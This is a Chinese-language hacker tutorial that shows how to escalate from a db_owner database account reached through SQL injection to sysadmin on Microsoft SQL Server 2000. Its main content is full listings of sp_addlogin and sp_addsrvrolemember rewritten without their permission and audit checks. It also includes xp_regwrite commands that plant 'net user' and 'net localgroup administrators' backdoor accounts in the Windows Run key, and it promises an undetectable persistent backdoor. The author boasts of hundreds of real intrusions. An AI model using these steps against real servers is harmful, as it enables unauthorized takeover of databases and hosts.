本文僅用于教學(xué)目的,如果因為本文造成的攻擊后果本人概不負責(zé)。因為發(fā)覺其危害過大,原文已經(jīng)經(jīng)過大量刪減及修改,即使這樣本文的危害性仍然很大,所以請大家不要對國內(nèi)的站點做任何具有破壞性的操作。考慮再三,偶還是決定發(fā)出來。此招手段歹毒,利用范圍廣泛,可以說是只要是有sql注射漏洞的網(wǎng)站,只要運用此法99%可以拿到webshell甚至系統(tǒng)權(quán)限(不敢把話說滿,呵呵,經(jīng)本人數(shù)百次真實“實戰(zhàn)演習(xí)”,基本上是100%可以拿到webshell甚至系統(tǒng)權(quán)限)。
記得我在《MSSQL db_owner角色注入直接獲得系統(tǒng)權(quán)限(續(xù))》中寫過一種利用xp_regwrite來取得系統(tǒng)權(quán)限的方法:xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Windows\currentvers ion\run','xwq1','REG_SZ','net user xwq xwq /add'
xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq2','REG_SZ','net localgroup administrators xwq /add',只要讓網(wǎng)站所在的重起,就能得到系統(tǒng)權(quán)限。經(jīng)過本人的數(shù)百次的真實實驗,這種方法不太實用,很容易引起網(wǎng)管的注意,再說ddos也是違法的事(偶可是好人啊),發(fā)動一場ddos要花費的大量的人力,物力(看你的肉雞多少拉)。所以不太可行(除非是你十分想要搞定的網(wǎng)站)。
呵呵,哆嗦拉那么多,你可能看的已經(jīng)不耐煩拉,好,這就介紹我的三大必殺技之一————萬能提權(quán)。
假如一個網(wǎng)站存在sql注射漏洞,如果這個網(wǎng)站是用固定服務(wù)器sysadmin權(quán)限的用戶作的連接(呵呵,通俗點說就是sa,菜鳥可以這樣認為),呵呵,想要拿到一個webshell或者是系統(tǒng)權(quán)限可以說是易如反掌,輕而易舉的事,據(jù)我所知,sysadmin權(quán)限要拿到webshell或者系統(tǒng)權(quán)限不下10種,呵呵,可能更多吧(偶只會10種),sysadmin怎么拿到webshell或者系統(tǒng)權(quán)限,我不想多說,想比大家都已經(jīng)爛熟于心拉,可是要是一個網(wǎng)站是db_owner權(quán)限呢?你怎么辦,你怎么拿系統(tǒng)權(quán)限,怎么拿webshell(沒有上傳漏洞和備份等功能),大家可能回說backup a shell,我記得LCX也在《MSSQL db_owner角色注入直接獲得系統(tǒng)權(quán)限》里說過拉“備份得到的shell只是理論化的東東,如果一個webshell有20mb的話,你還能用它嗎?”呵呵,要是我告訴你db_owner拿到一個webshell或者是系統(tǒng)權(quán)限的方法和sysadmin權(quán)限的一樣多,你回有什么反映,是不是覺得有點不可思議,或者又是我胡說呢?(不相信的朋友,下面的內(nèi)容就不要看拉)
呵呵,是不是看的心癢癢拉,迫不及待的想知道啊,好,我不在廢話拉,這就把我的三大必殺技之一————萬能提升權(quán)限方法告訴大家。
在告訴大家之前,我們先做個實驗.實驗環(huán)境windowsxp sp1+SQL 2000 sp3,大家跟著我來step to step,首先新建一個具有db_owner的權(quán)限的用戶,這里我是xwq(就是在服務(wù)器角色里面什么都不要選,在數(shù)據(jù)庫角色里面鉤上db_owner),好,現(xiàn)在我們打開查詢分析器用xwq連上后再里面輸入sp_addlogin xuwenqiang,執(zhí)行看看,出現(xiàn)拉什么?
服務(wù)器: 消息 2571,級別 14,狀態(tài) 2,過程 sp_addlogin,行 16
用戶 'xwq' 沒有運行 DBCC auditevent 的權(quán)限。
服務(wù)器: 消息 15247,級別 16,狀態(tài) 1,過程 sp_addlogin,行 17
用戶沒有執(zhí)行此操作的權(quán)限。
呵呵,出現(xiàn)上面的錯誤信息這很正常,因為只有sysadmin 和 securityadmin 固定服務(wù)器角色的成員才可以執(zhí)行 sp_addlogin,那么怎么才好讓sp_addlogin為我所用呢?我們在這里看一下sp_addlogin的代碼:
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- CHECK PERMISSIONS --
IF (not is_srvrolemember('securityadmin') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex('\', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N'us_english'
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
select @xstatus = @xstatus | 0x800, -- old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> 'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return 1
end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec('use master grant all to null')
-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
GO
之所以只有 sysadmin 和 securityadmin 固定服務(wù)器角色的成員才可以執(zhí)行 sp_addlogin,主要是這里一段再搞鬼
-- CHECK PERMISSIONS --
IF (not is_srvrolemember('securityadmin') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
只要我們把這段代碼刪拉,任何權(quán)限的用戶都可以增加用戶拉。
好,我們先把sp_addlogin刪拉
drop procedure sp_addlogin
然后再來恢復(fù)sp_addlogin
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex('\', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N'us_english'
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
select @xstatus = @xstatus | 0x800, -- old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> 'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return 1
end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec('use master grant all to null')
-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
GO
這樣我這個只具有db_owner權(quán)限的xwq就可以任意增加用戶拉,ok,在查詢分析器里面在輸入sp_addlogin xuwenqiang,執(zhí)行看看,GOOD!返回已創(chuàng)建新登錄。我新建拉一個用戶xuwenqiang,當然這個用戶我可不是白建的,我要把他變成具有最高權(quán)限的用戶,在sql中具有最高權(quán)限的當然是sysadmin拉,而把一個用戶變成sysadmin只有sp_addsrvrolemember這個過程拉,可是只有sysadmin權(quán)限的用戶才好使用,不爽,偶要讓他為我所用,呵呵,聰明的讀者一定想到拉我怎么讓只具有db_owner權(quán)限的我,怎么使用sp_addsrvrolemember拉,沒錯,和讓sp_addlogin為我所用的方法一樣,只要去掉sp_addsrvrolemember中權(quán)限限制的一段,我們就可以任意增加sysadmin拉,我們先看看sp_addsrvrolemember的代碼
?。篶reate procedure sp_addsrvrolemember
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,
@ismem int
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addsrvrolemember')
return (1)
end
-- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15402, -1, -1, @rolename)
return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15247,-1,-1)
return (1)
end
-- AUDIT A SUCCESSFUL SECURITY CHECK --
dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)
-- CANNOT CHANGE SA ROLES --
if @loginame = 'sa'
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN 'sysadmin' THEN 16
WHEN 'securityadmin' THEN 32
WHEN 'serveradmin' THEN 64
WHEN 'setupadmin' THEN 128
WHEN 'processadmin' THEN 256
WHEN 'diskadmin' THEN 512
WHEN 'dbcreator' THEN 1024
WHEN 'bulkadmin' THEN 4096
ELSE NULL END
-- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where
loginname = @loginame)
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret <> 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
end
-- UPDATE ROLE MEMBERSHIP --
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
xdate2 = getdate()
where name = @loginame and srvid IS NULL
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec('use master grant all to null')
raiserror(15488,-1,-1,@loginame,@rolename)
-- FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) -- sp_addsrvrolemember
GO
把這一段刪除 -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15402, -1, -1, @rolename)
return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15247,-1,-1)
return (1)
end
這樣我們就可以任意增加sysadmin拉,呵呵,爽啊。在查詢分析器里輸入sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到這里我們就成功利用拉一個只具有db_owner權(quán)限的用戶新建拉一個在SQL中具有至高無上權(quán)限,也就是具有sysadmin權(quán)限的用戶xuwenqiang,有拉sysadmin權(quán)限想要webshell或者系統(tǒng)權(quán)限還不容易么!不要只把眼睛只放在我所說的sp_addlogin和sp_addsrvrolemember這兩個存儲過程上,凡是只有sysadmin才好使用的存儲過程,利用我的萬能提權(quán)必殺技,我們都可以使用。比如:sp-configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很多只好sysadmin權(quán)限能利用的,我們都可以讓他們?yōu)槲宜谩?/P>
下面再舉一個萬能提權(quán)的例子,和我一起打造一個永遠不會被殺及完美的后門我們都知道在sql中有個被稱為后門的用戶,那就是sa,sa 是內(nèi)置的管理員登錄,而且不能進行更改和刪除。呵呵,這是M$說的,要是你看過我寫的另外一篇文章《完全刪除sa這個后門》就知道,其實sa也是好刪除的。我們知道在sql可以改密碼的存儲過程有sp_password,可是我們必須知道要改的用戶的舊密碼,才可以更改,那么有沒有辦法再不知道舊密碼的情況下更改sa的密碼呢?有,其實也就是利用sp_configure,sp_configure的功能是顯示或更改當前服務(wù)器的全局配置設(shè)置。sp_configure(用于更改配置選項)的執(zhí)行許可權(quán)限默認授予 sysadmin和 serveradmin 固定服務(wù)器角色。這很容易只要把sp_configure中檢查權(quán)限的一段刪除,再重建,我們就好用拉。